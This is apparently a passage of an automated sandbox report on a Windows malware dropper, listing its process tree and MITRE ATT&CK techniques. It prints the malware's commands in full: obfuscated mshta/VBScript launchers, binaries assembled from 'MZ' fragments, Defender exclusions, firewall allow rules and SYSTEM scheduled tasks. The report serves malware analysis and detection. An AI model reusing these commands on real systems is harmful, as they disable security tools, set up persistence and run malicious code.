    "C:\Users\Admin\Documents\rNdVwqZSdRf0HmM0Ed9lyWO4.exe"
    3⤵
    PID:4296
  - - C:\Users\Admin\Pictures\Adobe Films\MFEp5KgMMJAwQEJUOOdLT4vj.exe
      "C:\Users\Admin\Pictures\Adobe Films\MFEp5KgMMJAwQEJUOOdLT4vj.exe"
      4⤵
      PID:5732
  - - C:\Users\Admin\Pictures\Adobe Films\Nd9mdopoFbhRkgsE3IybQ3Wp.exe
      "C:\Users\Admin\Pictures\Adobe Films\Nd9mdopoFbhRkgsE3IybQ3Wp.exe"
      4⤵
      PID:1592
  - - C:\Users\Admin\Pictures\Adobe Films\3xtp2arCptzhePNbHozIG5u1.exe
      "C:\Users\Admin\Pictures\Adobe Films\3xtp2arCptzhePNbHozIG5u1.exe"
      4⤵
      PID:6140
  - - C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe
      "C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe"
      4⤵
      PID:5300
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:5588
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\0dLjvoKKN29b2deALiOKygOq.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:1804
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        7⤵
        
        PID:4664
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:2252
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:5844
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        8⤵
        
        PID:5808
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        9⤵
        
        PID:6136
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        10⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        10⤵
        
        PID:4264
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        10⤵
        
        PID:5096
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "0dLjvoKKN29b2deALiOKygOq.exe"
        7⤵
        Kills process with taskkill
        
        PID:5828
  - - C:\Users\Admin\Pictures\Adobe Films\al6r4hEstzmRJvIthKAvk0Zo.exe
      "C:\Users\Admin\Pictures\Adobe Films\al6r4hEstzmRJvIthKAvk0Zo.exe"
      4⤵
      PID:5392
  - - C:\Users\Admin\Pictures\Adobe Films\AacatGp954fKx165MxbaACI8.exe
      "C:\Users\Admin\Pictures\Adobe Films\AacatGp954fKx165MxbaACI8.exe"
      4⤵
      PID:5172
  - - C:\Users\Admin\Pictures\Adobe Films\Zvf6HexOS2kxgFngR66RoEI2.exe
      "C:\Users\Admin\Pictures\Adobe Films\Zvf6HexOS2kxgFngR66RoEI2.exe"
      4⤵
      PID:5712
  - - C:\Users\Admin\Pictures\Adobe Films\0emvToY2C5dqrXLREJk7Ryny.exe
      "C:\Users\Admin\Pictures\Adobe Films\0emvToY2C5dqrXLREJk7Ryny.exe"
      4⤵
      PID:3100
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:4788
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"
        6⤵
        
        PID:5244
  - - C:\Users\Admin\Pictures\Adobe Films\pfBgv12HlyUVF7emCKaIDFCl.exe
      "C:\Users\Admin\Pictures\Adobe Films\pfBgv12HlyUVF7emCKaIDFCl.exe"
      4⤵
      PID:4476
    - - C:\Users\Admin\AppData\Local\Temp\is-47S5H.tmp\pfBgv12HlyUVF7emCKaIDFCl.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-47S5H.tmp\pfBgv12HlyUVF7emCKaIDFCl.tmp" /SL5="$4037E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\pfBgv12HlyUVF7emCKaIDFCl.exe"
        5⤵
        
        PID:4772
      - C:\Users\Admin\AppData\Local\Temp\is-LUKA6.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-LUKA6.tmp\DYbALA.exe" /S /UID=2709
        6⤵
        
        PID:1420
  - - C:\Users\Admin\Pictures\Adobe Films\JvHGultfxffCGahlxvFc_rd0.exe
      "C:\Users\Admin\Pictures\Adobe Films\JvHGultfxffCGahlxvFc_rd0.exe"
      4⤵
      PID:5924
    - - C:\Users\Admin\Pictures\Adobe Films\JvHGultfxffCGahlxvFc_rd0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\JvHGultfxffCGahlxvFc_rd0.exe" -u
        5⤵
        
        PID:4844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4308
- C:\Users\Admin\Pictures\Adobe Films\bJHtzBAHCq6ClnttxApN1HY9.exe
  "C:\Users\Admin\Pictures\Adobe Films\bJHtzBAHCq6ClnttxApN1HY9.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2028
- C:\Users\Admin\Pictures\Adobe Films\xh9VzeOZAEcFV5lKMmyLiLsv.exe
  "C:\Users\Admin\Pictures\Adobe Films\xh9VzeOZAEcFV5lKMmyLiLsv.exe"
  2⤵
  - Executes dropped EXE
  PID:1976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 476
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:984
- C:\Users\Admin\Pictures\Adobe Films\1F1SRoVrnHVkAmapiBa936Xu.exe
  "C:\Users\Admin\Pictures\Adobe Films\1F1SRoVrnHVkAmapiBa936Xu.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  PID:2240
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:4284
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:4364
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:4404
- - C:\Windows\System\svchost.exe
    "C:\Windows\System\svchost.exe" formal
    3⤵
    - Executes dropped EXE
    PID:4496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:5028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:4144
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:2256
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:4800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
    3⤵
    PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
    3⤵
    PID:4132
- C:\Users\Admin\Pictures\Adobe Films\wResEHYfoVZgGhpMKn1wU5Pi.exe
  "C:\Users\Admin\Pictures\Adobe Films\wResEHYfoVZgGhpMKn1wU5Pi.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2208
- C:\Users\Admin\Pictures\Adobe Films\AiMawmpl4IjAilevuL1S1GnO.exe
  "C:\Users\Admin\Pictures\Adobe Films\AiMawmpl4IjAilevuL1S1GnO.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- - C:\Users\Admin\AppData\Roaming\2455098.exe
    "C:\Users\Admin\AppData\Roaming\2455098.exe"
    3⤵
    - Executes dropped EXE
    PID:4548
- - C:\Users\Admin\AppData\Roaming\7661268.exe
    "C:\Users\Admin\AppData\Roaming\7661268.exe"
    3⤵
    - Executes dropped EXE
    PID:4616
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:4352
- - C:\Users\Admin\AppData\Roaming\2407196.exe
    "C:\Users\Admin\AppData\Roaming\2407196.exe"
    3⤵
    PID:5100
- - C:\Users\Admin\AppData\Roaming\3986613.exe
    "C:\Users\Admin\AppData\Roaming\3986613.exe"
    3⤵
    PID:3044
- - C:\Users\Admin\AppData\Roaming\1505890.exe
    "C:\Users\Admin\AppData\Roaming\1505890.exe"
    3⤵
    PID:4464
- - C:\Users\Admin\AppData\Roaming\8751239.exe
    "C:\Users\Admin\AppData\Roaming\8751239.exe"
    3⤵
    PID:4212
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Roaming\8751239.exe"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If """"== """" for %k In ( ""C:\Users\Admin\AppData\Roaming\8751239.exe"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )
      4⤵
      PID:4284
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Roaming\8751239.exe"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If ""== "" for %k In ( "C:\Users\Admin\AppData\Roaming\8751239.exe" ) do taskkill /F /Im "%~Nxk"
        5⤵
        
        PID:2112
      - C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE
        
        kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ
        6⤵
        
        PID:3140
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbscRIpT:cLosE ( cREaTeOBjeCT ("wsCriPT.sHELl"). rUN ("Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If ""/P6l3hjJm2mK1sJpxUmLJ""== """" for %k In ( ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" ) do taskkill /F /Im ""%~Nxk"" " ,0 , trUE) )
        7⤵
        
        PID:204
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"> kSTw_GRvR1eDFi.EXE&&StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ&If "/P6l3hjJm2mK1sJpxUmLJ"== "" for %k In ( "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE" ) do taskkill /F /Im "%~Nxk"
        8⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscrIPT: cLOSE( cREATEobjeCt ( "WSCRIPt.SheLL" ). ruN ( "C:\Windows\system32\cmd.exe /q /C echo %DatE%cl1V> 8KyK.ZNp & Echo | sET /P = ""MZ"" > hXUPL.XH& CoPY /b /Y HXUPL.XH + QR7i5Ur.BRU +wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM & StArT control .\GKq1GTV.ZnM " , 0 , TrUe ) )
        7⤵
        
        PID:5764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C echo ÚtE%cl1V>8KyK.ZNp & Echo | sET /P = "MZ" >hXUPL.XH& CoPY /b /Y HXUPL.XH +QR7i5Ur.BRU +wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM& StArT control .\GKq1GTV.ZnM
        8⤵
        
        PID:5888
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        9⤵
        
        PID:5980
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>hXUPL.XH"
        9⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\control.exe
        
        control .\GKq1GTV.ZnM
        9⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\GKq1GTV.ZnM
        10⤵
        
        PID:5584
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\GKq1GTV.ZnM
        11⤵
        
        PID:4848
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\GKq1GTV.ZnM
        12⤵
        
        PID:4216
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /Im "8751239.exe"
        6⤵
        Kills process with taskkill
        
        PID:4764
- - C:\Users\Admin\AppData\Roaming\702291.exe
    "C:\Users\Admin\AppData\Roaming\702291.exe"
    3⤵
    PID:4164
- C:\Users\Admin\Pictures\Adobe Films\9C2GoD_7sOtL712cGch5Ijcp.exe
  "C:\Users\Admin\Pictures\Adobe Films\9C2GoD_7sOtL712cGch5Ijcp.exe"
  2⤵
  - Executes dropped EXE
  PID:3420
- - C:\Users\Admin\Pictures\Adobe Films\9C2GoD_7sOtL712cGch5Ijcp.exe
    "C:\Users\Admin\Pictures\Adobe Films\9C2GoD_7sOtL712cGch5Ijcp.exe"
    3⤵
    PID:4640
- C:\Users\Admin\Pictures\Adobe Films\k6gSuFahXz25w9rJZDRHiR66.exe
  "C:\Users\Admin\Pictures\Adobe Films\k6gSuFahXz25w9rJZDRHiR66.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2724
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    - Executes dropped EXE
    PID:3356
- C:\Users\Admin\Pictures\Adobe Films\tZUFAcuWvV57H9aqNxXqNxDQ.exe
  "C:\Users\Admin\Pictures\Adobe Films\tZUFAcuWvV57H9aqNxXqNxDQ.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3132
- C:\Users\Admin\Pictures\Adobe Films\q0sbklx1tzJnFbvx0e8VSUL1.exe
  "C:\Users\Admin\Pictures\Adobe Films\q0sbklx1tzJnFbvx0e8VSUL1.exe"
  2⤵
  - Executes dropped EXE
  PID:1980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\q0sbklx1tzJnFbvx0e8VSUL1.exe" & exit
    3⤵
    PID:4412
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3576
- C:\Users\Admin\Pictures\Adobe Films\tqBKKCwXIvcWbynZfNHG4Wqs.exe
  "C:\Users\Admin\Pictures\Adobe Films\tqBKKCwXIvcWbynZfNHG4Wqs.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1492
- C:\Users\Admin\Pictures\Adobe Films\IcuTaUChuYf2gNE4rTzOqCde.exe
  "C:\Users\Admin\Pictures\Adobe Films\IcuTaUChuYf2gNE4rTzOqCde.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  PID:840
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:1200
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 840 -s 552
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:1060
- C:\Users\Admin\Pictures\Adobe Films\Uyz1xe35DC3CJ3oqrZswrxNr.exe
  "C:\Users\Admin\Pictures\Adobe Films\Uyz1xe35DC3CJ3oqrZswrxNr.exe"
  2⤵
  - Executes dropped EXE
  PID:912
- - C:\Users\Admin\Pictures\Adobe Films\Uyz1xe35DC3CJ3oqrZswrxNr.exe
    "C:\Users\Admin\Pictures\Adobe Films\Uyz1xe35DC3CJ3oqrZswrxNr.exe"
    3⤵
    PID:5512
- C:\Users\Admin\Pictures\Adobe Films\GyFI3xNokh1r1MCE2eiaueyn.exe
  "C:\Users\Admin\Pictures\Adobe Films\GyFI3xNokh1r1MCE2eiaueyn.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3668
- - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
    C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
    3⤵
    PID:6108
  - - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"
      4⤵
      PID:3136

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1860
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4716

C:\Users\Admin\AppData\Local\Temp\452F.exe
C:\Users\Admin\AppData\Local\Temp\452F.exe
1⤵
PID:1400
- C:\Users\Admin\AppData\Local\Temp\452F.exe
  C:\Users\Admin\AppData\Local\Temp\452F.exe
  2⤵
  PID:5608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5552

C:\Users\Admin\AppData\Local\Temp\ABE9.exe
C:\Users\Admin\AppData\Local\Temp\ABE9.exe
1⤵
PID:4440

C:\Users\Admin\AppData\Local\Temp\C3F6.exe
C:\Users\Admin\AppData\Local\Temp\C3F6.exe
1⤵
PID:4868
- C:\Users\Admin\AppData\Local\Temp\C3F6.exe
  C:\Users\Admin\AppData\Local\Temp\C3F6.exe
  2⤵
  PID:3208

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\F1CE.dll
1⤵
PID:5644

C:\Users\Admin\AppData\Local\Temp\EDC.exe
C:\Users\Admin\AppData\Local\Temp\EDC.exe
1⤵
PID:1268
- C:\Users\Admin\AppData\Local\Temp\EDC.exe
  C:\Users\Admin\AppData\Local\Temp\EDC.exe
  2⤵
  PID:5824

C:\Users\Admin\AppData\Local\Temp\458D.exe
C:\Users\Admin\AppData\Local\Temp\458D.exe
1⤵
PID:4416

C:\Users\Admin\AppData\Local\Temp\76FF.exe
C:\Users\Admin\AppData\Local\Temp\76FF.exe
1⤵
PID:4152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery